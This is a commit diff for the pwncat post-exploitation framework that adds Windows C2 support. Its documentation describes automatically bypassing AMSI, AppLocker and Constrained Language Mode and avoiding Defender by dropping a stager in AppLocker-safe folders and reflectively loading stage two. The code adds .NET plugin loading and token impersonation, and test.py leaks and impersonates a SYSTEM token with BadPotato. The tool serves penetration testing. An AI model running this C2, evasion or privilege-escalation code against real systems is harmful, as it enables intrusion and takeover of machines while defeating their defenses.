1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Merge pull request #119 from calebstewart/feature-reflective-dotnet

- Updated documentation for Plugin API
- Updated README with notes on Windows support
- Added plugin API to Windows C2
- Added GitHub Action to package Windows plugins and attach to releases automatically.
- Added early support for BadPotato supported by [pwncat-badpotato](https://github.com/calebstewart/pwncat-badpotato) plugin (step toward #106)
This commit is contained in:
Caleb Stewart 2021-06-12 17:45:39 -04:00 committed by GitHub
commit f74510afb6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
17 changed files with 582 additions and 72 deletions

37
.github/workflows/publish.yml vendored Normal file
View File

@ -0,0 +1,37 @@
# Automatically pull down the required versions of windows plugins
# and bundle them up for releases. This makes staging on non-internet
# connected systems easier.
name: publish
on:
push:
tags:
- 'v*.*.*'
jobs:
release:
name: Release
runs-on: ubuntu-latest
if: startsWith(github.ref, 'refs/tags/')
steps:
- name: Checkout
uses: actions/checkout@v2
- name: Setup Python 3.9
uses: actions/setup-python@v2
with:
python-version: "3.9"
- name: Install pwncat Module
run: "python setup.py install"
- name: Download and Archive Plugins
run: |
# Have pwncat download all plugins needed
pwncat --download-plugins
# They are stored in ~/.local/share/pwncat by default
tar czvf pwncat-plugins.tar.gz --transform='s|.*pwncat/||' ~/.local/share/pwncat/*
- name: Publish Plugins
uses: softprops/action-gh-release@v1
with:
files: "pwncat-plugins.tar.gz"
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

View File

@ -43,6 +43,30 @@ the latest usage and development documentation!
**pwncat requires Python 3.9+.**
## Windows Support
pwncat now supports windows starting at `v0.4.0a1`. The Windows platform
utilizes a .Net-based C2 library which is loaded automatically. Windows
targets should connect with either a `cmd.exe` or `powershell.exe` shell, and
pwncat will take care of the rest.
The libraries implementing the C2 are implemented at [pwncat-windows-c2].
The DLLs for the C2 will be automatically downloaded from the targeted release
for you. If you do not have internet connectivity on your target machine,
you can tell pwncat to prestage the DLLs using the `--download-plugins`
argument. If you are running a release version of pwncat, you can also download
a tarball of all built-in plugins from the releases page.
The plugins are stored by default in `~/.local/share/pwncat`, however this is
configurable with the `plugin_path` configuration. If you download the packaged
set of plugins from the releases page, you should extract it to the path pointed
to by `plugin_path`.
Aside from the main C2 DLLs, other plugins may also be available. Currently,
the only provided default plugins are the C2 and an implementation of [BadPotato].
pwncat can reflectively load .Net binaries to be used a plugins for the C2.
For more information on Windows C2 plugins, please see the [documentation].
## Version Details
Currently, there are two versions of pwncat available. The last stable
@ -243,3 +267,5 @@ contribute to making `pwncat` behave better on BSD, you are more then welcome to
reach out or just fork the repo. As always, pull requests are welcome!
[documentation]: https://pwncat.readthedocs.io/en/latest
[pwncat-windows-c2]: https://github.com/calebstewart/pwncat-windows-c2
[BadPotato]: https://github.com/calebstewart/pwncat-badpotato

View File

@ -92,11 +92,6 @@ command specified in quotes, or a script block specified in braces as with the
.. code-block:: bash
# Enter the local prompt for a single command, then return to raw terminal
# mode
bind c "set state single"
# Enumerate privilege escalation methods
bind p "privesc -l"
bind t {
# Just an example of a block
run report

View File

@ -67,6 +67,7 @@ well. Pull requests are always welcome!
installation.rst
usage.rst
windows.rst
configuration.rst
modules.rst
enum.rst

View File

@ -15,7 +15,7 @@ Once you have a working ``pip`` installation, you can install pwncat with the pr
# Install pwncat within the virtual environment
/opt/pwncat/bin/pip install git+https://github.com/calebstewart/pwncat
# This allows you to use pwncat outside of the virtual environment
ln -s /opt/pwncat/bin/pwncat /usr/local/bind
ln -s /opt/pwncat/bin/pwncat /usr/local/bin
After installation, you can use pwncat via the installed script:
@ -51,6 +51,46 @@ After installation, you can use pwncat via the installed script:
--list List installed implants with remote connection
capability
Windows Plugin Binaries
-----------------------
The Windows target utilizes .Net binaries to stabilize the connection and bypass
various defenses present on Windows targets. The base Windows C2 utilizes two DLLs
named ``stageone.dll`` and ``stagetwo.dll``. Stage One is a simple reflective loader.
It will read the encoded and compressed contents of Stage Two, and execute it
reflectively. Stage Two contains the actual meat of the C2 framework.
Further, the Stage Two C2 framework provides the ability to reflectively load other
.Net assemblies and execute their methods. The loaded assemblies must conform to the
pwncat plugin API. These APIs are not generally accessible from the interactive
session, and are created more for the Python API.
Plugins are stored at the path specified by the ``plugin_path`` configuration value.
By default, this configuration points to ``~/.local/share/pwncat``, but can be changed
by your configuration file. If a plugin does not exist when it is requested, the appropriate
version will be downloaded via a URL tracked within pwncat itself.
If your attacking machine will not have direct internet access, you can prestage the
plugin binaries in two ways. The easiest is to connect your attacking machine to
the internet, and use the ``--download-plugins`` argument:
.. code-block:: bash
pwncat --download-plugins
This command will place all built-in plugins in the plugin directory for you. Alternatively,
if you are using a release version pwncat, you can download a prepackaged tarball of all
builtin plugins from the GitHub releases page. You can then extract it into your plugin path:
.. code-block:: bash
# Replace {version} with your pwncat version
cd ~/.local/share/pwncat
wget https://github.com/calebstewart/pwncat/releases/download/{version}/pwncat-plugins-{version}.tar.gz
tar xvfs pwncat-plugins-{version}.tar.gz
rm pwncat-plugins-{version}.tar.gz
Development Environment
-----------------------

132
docs/source/windows.rst Normal file
View File

@ -0,0 +1,132 @@
Windows Support
===============
Starting with ``v0.4.0a1``, pwncat supports multiple platform targets. Specifically,
we have implemented Windows support. Windows support is complicated, as a majority
of interaction cannot be simply executed from a shell, and parsed. As a result, we
implemented a very minimal C2 framework, and had pwncat automatically upload and
execute this framework for you. **You only need to provide pwncat a cmd or
powershell prompt**.
Goals
-----
When building out Windows support, there were a lot of options. We had to filter out
these options based on the goals for the C2. We whittled these goals down to the
following:
- Automatically Bypass AMSI
- Automatically Bypass AppLocker
- Undetected by Defender
- Automatically Bypass PowerShell Constrained Language Mode
- Provide the user with an interactive shell
- Support structured interaction for automation
- Touch disk as little as possible
This was a tall order, and doing so generically was difficult. I'll talk about our
solution to each of those problems. Firstly, AMSI was easy. Once everything was set
in place, we could use the standard .Net reflection to bypass AMSI relatively easily.
This brought up another issue: Constrained Language Mode. In PowerShell, if constrained
language mode is active, we effectively have no access to .Net. This presents serious
problems. The only way we could find to bypass Constrained Language Mode without
depending on PowerShell v2 was to execute .Net code. From within .Net, we can reflectively
modify the PowerShell implementation, and spawn an interactive session in Full Language
Mode regardless of environment or Group Policy settings.
With the need to execute .Net without reflective loading from PowerShell (due to CLM),
we now break one of our rules. We have to upload a file to disk to execute, and with
that we run into both Defender and AppLocker. For AppLocker, there is a list of safe
directories where we can place a binary, and load it with the .Net ``InstallUtil``
tool. This provides a way around AppLocker. Further, we implemented a small stager
which simply waits and downloads more .Net code to be reflectively loaded. This
mitigates the files on disk by making the only on-disk file a simple stager with low
equity. It also makes the file on disk less likely to trigger Defender.
At this point, we can load stage two which implements the required structured
interaction and interactive shell as needed, and have met all goals listed above
with a slight compromise on files touching disk. To make things as smooth as possible,
pwncat will automatically remove the stageone DLL when exiting.
Communication Protocol
----------------------
After initializing stage two, pwncat communicates over Base64-encoded GZip blobs.
Each command sent is a JSON-encoded argument array specifying the type name,
method name, and subsequent arguments for a static method within stage two. The
JSON data is deserialized so you can pass any serializable type to a method natively
from pwncat.
Responses are formatted in the same way as requests, except are returned as a dictionary.
The dictionary looks like this:
.. code-block:: json
{
"error": 0,
"result": {},
"message": ""
}
If a method fails, the error property will be non-zero, and the ``message`` property
will be present containing a description of the failure. If the method succeeds, the
``result`` property will contain the return value of the method. This value could be
any JSON serializable type (the example above shows an empty dictionary but it could
just as easily be a bare integer).
The Windows platform provides a helper method to call methods which seamlessly translates
Python calls to method calls. The return value is the ``result`` property, and a
:class:`pwncat.platform.windows.Windows.ProtocolError` will be raised if there was an error.
.. code-block:: python
result = session.platform.run_method("PowerShell", "run", "[PSCustomObject]@{ thing = 5; }", 1)
# Prints "5"
print(result[0]["thing"])
There are also other abstractions within the framework for common operations like executing
PowerShell. For more information on the API of the Windows platform, please see the
API Documentation.
Plugin API
----------
You can utilize the pwncat API to load third-party .Net assemblies from the attacker machine
and easily execute their methods. The stage two C2 provides the ability to load an assembly
and retrieve a unique identifier for the loaded assembly. You can then use this identifier
to execute methods from the assembly in a similar way to the ``run_method`` method above.
The plugins themselves must implement a specific API in order to be compatible. A basic
plugin looks like this:
.. code-block:: csharp
using System.Reflection;
class Plugin
{
public static void entry(Assembly stagetwo)
{
// Optional method; executing while loading the plugin
}
public static string test(string arg1, int arg2)
{
// A method that can be called from the C2
return "Hello " + arg1 + " " + arg2.ToString();
}
}
If you had compiled this plugin to a dll named ``example.dll``, you could load and execute it
with the following from pwncat:
.. code-block:: python
example = session.platform.dotnet_load("example.dll")
# this prints "Hello Plugin 42"
print(example.test("Plugin", 42))
The Windows platform will deduplicate plugins by name and by file hash to ensure individual
assemblies are only loaded once. If a given assembly has already been loaded, the existing
:class:`pwncat.platform.windows.Windows.DotNetPlugin` instance will be returned instead of
reloading the existing assembly.

View File

@ -30,6 +30,11 @@ def main():
parser = argparse.ArgumentParser(
description="""Start interactive pwncat session and optionally connect to existing victim via a known platform and channel type. This entrypoint can also be used to list known implants on previous targets."""
)
parser.add_argument(
"--download-plugins",
action="store_true",
help="Pre-download all Windows builtin plugins and exit immediately",
)
parser.add_argument(
"--config",
"-c",
@ -83,6 +88,15 @@ def main():
# Create the session manager
with pwncat.manager.Manager(args.config) as manager:
if args.download_plugins:
for plugin_info in pwncat.platform.Windows.PLUGIN_INFO:
with pwncat.platform.Windows.open_plugin(
manager, plugin_info.provides[0]
):
pass
return
if args.list:
db = manager.db.open()

View File

@ -4,12 +4,7 @@ import textwrap
import pwncat
import pwncat.modules
from pwncat.util import console
from pwncat.commands import (
Complete,
Parameter,
CommandDefinition,
get_module_choices,
)
from pwncat.commands import Complete, Parameter, CommandDefinition, get_module_choices
class Command(CommandDefinition):
@ -92,6 +87,11 @@ class Command(CommandDefinition):
console.log(f"[red]error[/red]: invalid argument: {exc}")
return
if isinstance(result, list):
result = [r for r in result if not r.hidden]
elif result.hidden:
result = None
if args.raw:
console.print(result)
else:

View File

@ -27,8 +27,10 @@ import ipaddress
from typing import Any, Dict, List, Union
from prompt_toolkit.keys import ALL_KEYS, Keys
from prompt_toolkit.input.ansi_escape_sequences import (ANSI_SEQUENCES,
REVERSE_ANSI_SEQUENCES)
from prompt_toolkit.input.ansi_escape_sequences import (
ANSI_SEQUENCES,
REVERSE_ANSI_SEQUENCES,
)
from pwncat.modules import BaseModule
@ -72,6 +74,9 @@ def local_file_type(value: str) -> str:
def local_dir_type(value: str) -> str:
""" Ensure the path specifies a local directory """
# Expand ~ in the path
value = os.path.expanduser(value)
if not os.path.isdir(value):
raise ValueError(f"{value}: no such file or directory")
return value
@ -109,7 +114,7 @@ class Config:
"cross": {"value": None, "type": str},
"psmodules": {"value": ".", "type": local_dir_type},
"verbose": {"value": False, "type": bool_type},
"windows_c2_dir": {
"plugin_path": {
"value": "~/.local/share/pwncat",
"type": local_dir_type,
},

View File

@ -43,6 +43,7 @@ class Fact(Result, persistent.Persistent):
self.types: PersistentList = types
# The original procedure that found this fact
self.source: str = source
self.hidden: bool = False
def __eq__(self, o):
"""This is probably a horrible idea.

View File

@ -62,6 +62,7 @@ class WindowsUser(User):
principal_source: str,
password: Optional[str] = None,
hash: Optional[str] = None,
well_known: bool = False,
):
super().__init__(
source=source, name=name, uid=uid, password=password, hash=hash
@ -78,6 +79,7 @@ class WindowsUser(User):
self.password_last_set: Optional[datetime] = password_last_set
self.last_logon: Optional[datetime] = last_logon
self.principal_source: str = principal_source
self.hidden: bool = well_known
def __repr__(self):
if self.password is None and self.hash is None:

View File

@ -257,7 +257,7 @@ class Session:
try:
# Ensure this bar is started if we are the selected
# target.
if self.manager.target == self and not started:
if not started:
self._progress = rich.progress.Progress(
"{task.fields[platform]}",
"",

View File

@ -136,6 +136,9 @@ class Result:
:func:`category` method helps when organizing output with the ``run``
command."""
hidden: bool = False
""" Hide results from automatic display with the ``run`` command """
def category(self, session) -> str:
"""Return a "category" of object. Categories will be grouped.
If this returns None or is not defined, this result will be "uncategorized"

View File

@ -41,3 +41,48 @@ class Module(EnumerateModule):
last_logon=None,
principal_source=user["PrincipalSource"],
)
well_known = {
"S-1-0-0": "NULL AUTHORITY\\NOBODY",
"S-1-1-0": "WORLD AUTHORITY\\Everyone",
"S-1-2-0": "LOCAL AUTHORITY\\Local",
"S-1-3-0": "CREATOR AUTHORITY\\Creator Owner",
"S-1-3-1": "CREATOR AUTHORITY\\Creator Group",
"S-1-3-4": "CREATOR AUTHORITY\\Owner Rights",
"S-1-4": "NONUNIQUE AUTHORITY",
"S-1-5-1": "NT AUTHORITY\\DIALUP",
"S-1-5-2": "NT AUTHORITY\\NETWORK",
"S-1-5-3": "NT AUTHORITY\\BATCH",
"S-1-5-4": "NT AUTHORITY\\INTERACTIVE",
"S-1-5-6": "NT AUTHORITY\\SERVICE",
"S-1-5-7": "NT AUTHORITY\\ANONYMOUS",
"S-1-5-9": "NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS",
"S-1-5-10": "NT AUTHORITY\\PRINCIPAL SELF",
"S-1-5-11": "NT AUTHORITY\\AUTHENTICATED USERS",
"S-1-5-12": "NT AUTHORITY\\RESTRICTED CODE",
"S-1-5-13": "NT AUTHORITY\\TERMINAL SERVER USERS",
"S-1-5-14": "NT AUTHORITY\\REMOTE INTERACTIVE LOGON",
"S-1-5-17": "NT AUTHORITY\\IUSR",
"S-1-5-18": "NT AUTHORITY\\SYSTEM",
"S-1-5-19": "NT AUTHORITY\\LOCAL SERVICE",
"S-1-5-20": "NT AUTHORITY\\NETWORK SERVICE",
}
for sid, name in well_known.items():
yield WindowsUser(
source=self.name,
name=name,
uid=sid,
account_expires=None,
description=None,
enabled=True,
full_name=name,
password_changeable_date=None,
password_expires=None,
user_may_change_password=None,
password_required=None,
password_last_set=None,
last_logon=None,
principal_source="well known sid",
well_known=True,
)

View File

@ -301,7 +301,7 @@ class Path:
"""Open the file pointed to by the path, like Platform.open"""
return self._target.open(
self,
str(self),
mode=mode,
buffering=buffering,
encoding=encoding,
@ -526,6 +526,11 @@ class Platform(ABC):
self.Path = RemotePath
""" A concrete Path object for this platform conforming to pathlib.Path """
@property
def manager(self):
""" Shortcut to accessing the manager """
return self.session.manager
def interactive_loop(self, interactive_complete: "threading.Event"):
"""Handles interactive piping of data between victim and attacker. If
the platform you are implementing does not support raw mode, you must

View File

@ -22,12 +22,14 @@ import time
import base64
import shutil
import signal
import hashlib
import pathlib
import tarfile
import termios
import binascii
import readline
import textwrap
import functools
import subprocess
from io import (
BytesIO,
@ -50,7 +52,7 @@ import pwncat.subprocess
from pwncat.platform import Path, Platform, PlatformError
INTERACTIVE_END_MARKER = b"INTERACTIVE_COMPLETE\r\n"
PWNCAT_WINDOWS_C2_VERSION = "v0.2.0"
PWNCAT_WINDOWS_C2_VERSION = "v0.2.1"
PWNCAT_WINDOWS_C2_RELEASE_URL = "https://github.com/calebstewart/pwncat-windows-c2/releases/download/{version}/pwncat-windows-{version}.tar.gz"
@ -180,7 +182,7 @@ class WindowsFile(RawIOBase):
try:
result = self.platform.run_method(
"File", "write", self.handle, base64.b64encode(data)
"File", "write", self.handle, base64.b64encode(data).decode("utf-8")
)
except ProtocolError as exc:
# ERROR_BROKEN_PIPE
@ -194,6 +196,43 @@ class WindowsFile(RawIOBase):
return nwritten
class DotNetPlugin(object):
"""Represents a reflectively loaded .Net plugin within the remote C2
This class is a helper which makes calling methods within a plugin
more straightforward. If you want to call a method named ``get_system``
you can use one of two syntaxes:
.. code-block:: python
plugin.run("get_system", "arguments", 1, 2, False)
plugin.get_system("arguments", 1, 2, False)
:param name: basename of the file which was loaded
:type name: str
:param checksum: md5sum of the assembly
:type checksum: str
:param ident: identifier for the remote assembly
:type ident: int
"""
def __init__(self, platform: "Windows", name: str, checksum: str, ident: int):
self.names = [name]
self.checksum = checksum
self.ident = ident
self.platform = platform
def __getattr__(self, key: str):
"""Shortcut for calling a method. ``plugin.method()`` is equivalent
to ``plugin.run("method")``."""
return functools.partial(self.run, key)
def run(self, method: str, *args):
""" Execute a method within the plugin """
return self.platform.run_method("Reflection", "call", self.ident, method, args)
class PopenWindows(pwncat.subprocess.Popen):
"""
Windows-specific Popen wrapper class
@ -381,6 +420,20 @@ class PopenWindows(pwncat.subprocess.Popen):
return (stdout, stderr)
@dataclass
class BuiltinPluginInfo:
""" Tells pwncat where to find a builtin plugin """
name: str
""" A friendly name used when loading the plugin """
provides: List[str]
""" List of DLL names which this plugin provides """
url: str
""" URL pointing to a tar.gz file containing the plugin DLL(s) """
version: str
""" The version number to download (this is formatted into the URL) """
class Windows(Platform):
"""Concrete platform class abstracting interaction with a Windows/
Powershell remote host. The remote windows host must support
@ -389,6 +442,68 @@ class Windows(Platform):
name = "windows"
PATH_TYPE = pathlib.PureWindowsPath
C2_VERSION = "v0.2.1"
PLUGIN_INFO = [
BuiltinPluginInfo(
name="windows-c2",
provides=["stageone.dll", "stagetwo.dll"],
url="https://github.com/calebstewart/pwncat-windows-c2/releases/download/{version}/pwncat-windows-{version}.tar.gz",
version="v0.2.1",
),
BuiltinPluginInfo(
name="badpotato",
provides=["BadPotato.dll"],
url="https://github.com/calebstewart/pwncat-badpotato/releases/download/{version}/pwncat-badpotato-{version}.tar.gz",
version="v0.0.1-alpha",
),
]
@classmethod
def open_plugin(cls, manager: "pwncat.manager.Manager", name: str) -> BytesIO:
"""
Open the given plugin DLL for reading and return an open file object.
If the given name matches a builtin plugin, it will be used. If a
builtin plugin is not available, it will be downloaded from it's URL
and saved in the provided plugin path. If the name does not match a
provided plugin DLL, it is interpreted as a path and attempted to be
opened.
:param manager: the pwncat manager object used to locate the plugin directory
:type manager: pwncat.manager.Manager
:param name: name of the plugin being requested
:type name: str
:rtype: BytesIO
"""
for plugin in cls.PLUGIN_INFO:
if name in plugin.provides:
break
else:
return open(name, "rb")
path = (
pathlib.Path(manager.config["plugin_path"])
/ plugin.name
/ plugin.version
/ name
).expanduser()
if not path.exists():
path.parent.mkdir(parents=True, exist_ok=True)
url = plugin.url.format(version=plugin.version)
manager.log(f"[blue]windows[/blue]: downloading {plugin.name} plugin")
with requests.get(
plugin.url.format(version=plugin.version),
stream=True,
) as request:
data = request.raw.read()
with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar:
for provided in plugin.provides:
with tar.extractfile(provided) as provided_filp:
with (path.parent / provided).open("wb") as output:
shutil.copyfileobj(provided_filp, output)
return path.open("rb")
def __init__(
self,
@ -400,6 +515,7 @@ class Windows(Platform):
super().__init__(session, channel, *args, **kwargs)
self.name = "windows"
self.plugins = []
# Initialize interactive tracking
self._interactive = False
@ -415,9 +531,6 @@ class Windows(Platform):
# Tracks paths to modules which have been sideloaded into powershell
self.psmodules = []
# Ensure we have the C2 libraries downloaded
self._ensure_libs()
self._bootstrap_stage_two()
self.refresh_uid()
@ -427,7 +540,6 @@ class Windows(Platform):
# Load requested libraries
# for library, methods in self.LIBRARY_IMPORTS.items():
# self._load_library(library, methods)
#
def exit(self):
"""Ensure the C2 exits on the victim end. This is called automatically
@ -475,6 +587,8 @@ class Windows(Platform):
if wait:
keyboard_interrupt = False
# Receive the response
while True:
try:
@ -482,6 +596,14 @@ class Windows(Platform):
break
except (gzip.BadGzipFile, binascii.Error) as exc:
continue
except KeyboardInterrupt:
self.session.log(
"[yellow]warning[/yellow]: waiting for command to complete"
)
keyboard_interrupt = True
if keyboard_interrupt:
raise KeyboardInterrupt
# Raise an appropriate error if needed
if result["error"] != 0:
@ -501,40 +623,6 @@ function prompt {
}"""
)
def _ensure_libs(self):
"""This method checks that stageone.dll and stagetwo.dll exist within
the directory specified by the windows_c2_dir configuration. If they do
not, a release copy is downloaded from GitHub. The specific release version
is defined by the PWNCAT_WINDOWS_C2_RELEASE_URL variable defined at the top
of this file. It should be updated whenever a new C2 version is released."""
location = pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
location.mkdir(parents=True, exist_ok=True)
if (
not (location / f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll").exists()
or not (location / f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll").exists()
):
self.session.manager.log(
f"Downloading Windows C2 binaries ({PWNCAT_WINDOWS_C2_VERSION}) from GitHub..."
)
with requests.get(
PWNCAT_WINDOWS_C2_RELEASE_URL.format(version=PWNCAT_WINDOWS_C2_VERSION),
stream=True,
) as request:
data = request.raw.read()
with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar:
with tar.extractfile("stageone.dll") as stageone:
with (
location / f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll"
).open("wb") as output:
shutil.copyfileobj(stageone, output)
with tar.extractfile("stagetwo.dll") as stagetwo:
with (
location / f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll"
).open("wb") as output:
shutil.copyfileobj(stagetwo, output)
def _bootstrap_stage_two(self):
"""This routine upgrades a standard powershell or cmd shell to an
instance of the pwncat stage two C2. It will first locate a valid
@ -564,17 +652,10 @@ function prompt {
chunk_sz = 1900
loader_encoded_name = pwncat.util.random_string()
stageone = (
pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
/ f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll"
)
stagetwo = (
pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
/ f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll"
)
# Read the loader
with stageone.open("rb") as filp:
# with stageone.open("rb") as filp:
with Windows.open_plugin(self.manager, "stageone.dll") as filp:
loader_dll = base64.b64encode(filp.read())
# Extract first chunk
@ -594,11 +675,11 @@ function prompt {
self.channel.recvline()
result = self.channel.recvuntil(b">")
if b"denied" not in result.lower():
self.session.manager.log(f"Good path: {possible}")
self.session.log(
f"dropping stage one in {repr(str(loader_remote_path))}"
)
break
else:
self.session.manager.log(f"Bad path: {possible}")
self.session.manager.log(result)
raise PlatformError("no writable applocker-safe directories")
# Write remaining chunks to selected path
@ -641,7 +722,11 @@ function prompt {
# Note whether this is 64-bit or not
is_64 = "\\Framework64\\" in install_utils
self.session.manager.log(f"Selected Install Utils: {install_utils}")
version = pathlib.PureWindowsPath(install_utils).parts[-2]
self.session.log(
f"using install utils from .net [cyan]{version}[/cyan]", highlight=False
)
install_utils = install_utils.replace(" ", "\\ ")
@ -657,7 +742,7 @@ function prompt {
self.channel.recvuntil(b"\n")
# Load, Compress and Encode stage two
with stagetwo.open("rb") as filp:
with Windows.open_plugin(self.manager, "stagetwo.dll") as filp:
stagetwo_dll = filp.read()
compressed = BytesIO()
with gzip.GzipFile(fileobj=compressed, mode="wb") as gz:
@ -1343,3 +1428,90 @@ function prompt {
raise PowershellError(exc.message)
return [json.loads(x) for x in result["output"]]
def impersonate(self, token: int):
"""Impersonate a user token in the powershell and .net contexts.
:param token: the user token to impersonate
:type token: int
"""
try:
return self.run_method("Identity", "Impersonate", token)
except ProtocolError:
return False
def revert_to_self(self):
""" Revert any impersonations and return to the original user """
return self.impersonate(0)
def dotnet_load(
self, name: str, content: Optional[Union[bytes, BytesIO]] = None
) -> DotNetPlugin:
"""
Reflectively load a .Net C2 plugin from the attacker machine. The
plugin DLL should implement the ``Plugin`` class and method interface.
The name argument can either be a path to a local DLL or the name of a
DLL provided by a built-in plugin. Built-in plugins will be automatically
downloaded if not present in the directory pointed to by the ``plugin_path``
configuration.
Plugins are also deduplicated prior to loading on the victim. If a given
DLL name or a file with a matching hash has already been loaded, the existing
plugin object is returned, and the DLL is not loaded again.
The return :class:`DotNetPlugin` class is capable of cleanly translating method
calls to the methods within the loaded DLL. For example, if ``plugin.dll`` defined
a method named ``foo``, which took a single string argument, you could call it with:
.. code-block:: python
plugin = session.platform.dotnet_load("./plugin.dll")
result = plugin.foo("Hello World!")
Plugins can take as parameters and return any JSON-serializable objects.
:param name: name or path to the DLL to upload
:type name: str
:param content: content of the DLL to load or file-like object, if not present on disk
:type content: Optional[Union[bytes, BytesIO]]
:rtype: DotNetPlugin
"""
try:
plugin = [plugin for plugin in self.plugins if name in plugin.names][0]
return plugin
except IndexError:
pass
if content is None:
with Windows.open_plugin(self.manager, name) as filp:
content = filp.read()
if not isinstance(content, bytes):
content = content.read()
# Calculate the digest
checksum = hashlib.md5(content).hexdigest()
# Ensure we haven't loaded the same plugin under another name
try:
plugin = [plugin for plugin in self.plugins if plugin.checksum == checksum][
0
]
plugin.names.append(name)
return plugin
except IndexError:
pass
# Encode the assembly
assembly = base64.b64encode(content).decode("utf-8")
# Load the assembly. Let protocol errors propogate
ident = self.run_method("Reflection", "load", assembly)
plugin = DotNetPlugin(self, name, checksum, ident)
self.plugins.append(plugin)
return plugin

34
test.py
View File

@ -20,4 +20,36 @@ with pwncat.manager.Manager("data/pwncatrc") as manager:
# session = manager.create_session("linux", host="pwncat-ubuntu", port=4444)
# session = manager.create_session("linux", host="127.0.0.1", port=4445)
print(session.platform.Path("./nonexistent.txt").resolve())
# session.platform.powershell("amsiutils")
try:
# Load the BadPotato plugin
session.log("leaking system token w/ BadPotato")
badpotato = session.platform.dotnet_load("BadPotato.dll")
# Call the method within the DLL to leak a system token
system_token = badpotato.get_system_token()
session.log(f"found system token: {system_token}")
session.log("impersonating token...")
# Impersonate the SYSTEM token
session.platform.impersonate(system_token)
# Checkout our active user through powershell
result = session.platform.powershell(
"[System.Security.Principal.WindowsIdentity]::GetCurrent().Name"
)
session.log(f"now running as: {result[0]}")
session.platform.refresh_uid()
session.log(session.platform.getuid())
session.log(session.find_user(uid=session.platform.getuid()))
except (
pwncat.platform.windows.ProtocolError,
pwncat.platform.windows.PowershellError,
) as exc:
session.log(f"badpotato failed: {exc}")
manager.interactive()